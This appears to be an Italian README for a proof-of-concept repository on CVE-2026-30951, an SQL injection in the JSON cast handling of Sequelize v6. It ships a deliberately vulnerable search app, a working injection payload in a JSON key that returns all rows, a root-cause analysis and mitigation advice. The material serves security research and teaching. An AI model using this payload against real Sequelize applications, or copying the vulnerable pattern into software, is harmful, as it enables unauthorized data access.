
Iniezione SQL nel cast JSON di Sequelize
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 è una vulnerabilità di SQL Injection in Sequelize v6, un ORM per Node.js ampiamente utilizzato.
La vulnerabilità risiede nell'elaborazione delle clausole
whereJSON/JSONB. Quando Sequelize analizza una chiave di percorso JSON contenente::, il valore dopo::viene trattato come un tipo di cast SQL e viene inserito nell'SQL generato senza una corretta validazione.Se un attaccante riesce a controllare le chiavi degli oggetti JSON passate in una clausola
wheredi Sequelize, può manipolare la query SQL generata.
| Categoria | Versione |
|---|
| Vulnerabile | Sequelize v6.x <= 6.37.7 |
| Corretta | Sequelize 6.37.8 |
| Non interessata | Sequelize v7 / @sequelize/core |
Questo repository contiene una challenge app minimale vulnerabile basata su Node.js, Express, Sequelize e SQLite.
npm install
npm start
L'app si avvia su:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Il container Docker si avvia su:
http://127.0.0.1:9100
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'injection.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Questo restituisce solo gli utenti che corrispondono alla normale logica di ricerca per nome.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Risultato atteso:
All user rows are returned.
La chiave JSON appositamente costruita induce Sequelize a generare un'espressione di cast simile a:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Poiché il tipo di cast è controllato dall'attaccante, la condizione OR 1=1 modifica il comportamento previsto della clausola WHERE. La restituzione di tutte le righe dallo stesso endpoint di ricerca conferma che la SQL injection è possibile.
La vulnerabilità è causata da una validazione insufficiente dei tipi di cast JSON in Sequelize v6.
Internamente, la logica di attraversamento JSON di Sequelize suddivide le chiavi di percorso JSON su :::
jsonKey::castType
Il tipo di cast viene poi utilizzato nell'SQL generato come:
CAST(<json_extract_expression> AS <cast_type>)
Nelle versioni vulnerabili, <cast_type> non viene sottoposto a escape sicuro né limitato a una allowlist nota e sicura. Ciò consente a una chiave JSON controllata dall'attaccante di uscire dall'espressione di cast e iniettare SQL.
Qualsiasi pattern applicativo simile al seguente può essere vulnerabile quando si utilizzano versioni di Sequelize interessate:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Questo è pericoloso perché l'attaccante controlla non solo i valori JSON, ma anche le chiavi degli oggetti JSON.
Questa vulnerabilità è particolarmente pericolosa perché molti sviluppatori presumono che i query builder degli ORM proteggano automaticamente dalla SQL injection. In questo caso, l'injection avviene all'interno dell'SQL generato dall'ORM, dopo che l'applicazione ha già passato oggetti JavaScript strutturati a Sequelize.
A seconda della logica applicativa, lo sfruttamento può consentire di:
Si tratta fondamentalmente di un problema CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where JSON/JSONB di Sequelize::, a meno che non siano esplicitamente richiesticonst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Questo repository è destinato esclusivamente a ricerca sulla sicurezza, validazione difensiva e uso educativo in ambienti controllati.
Non utilizzare questo PoC contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione a eseguire test.
Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link sottostanti per consultare le nostre pubblicazioni.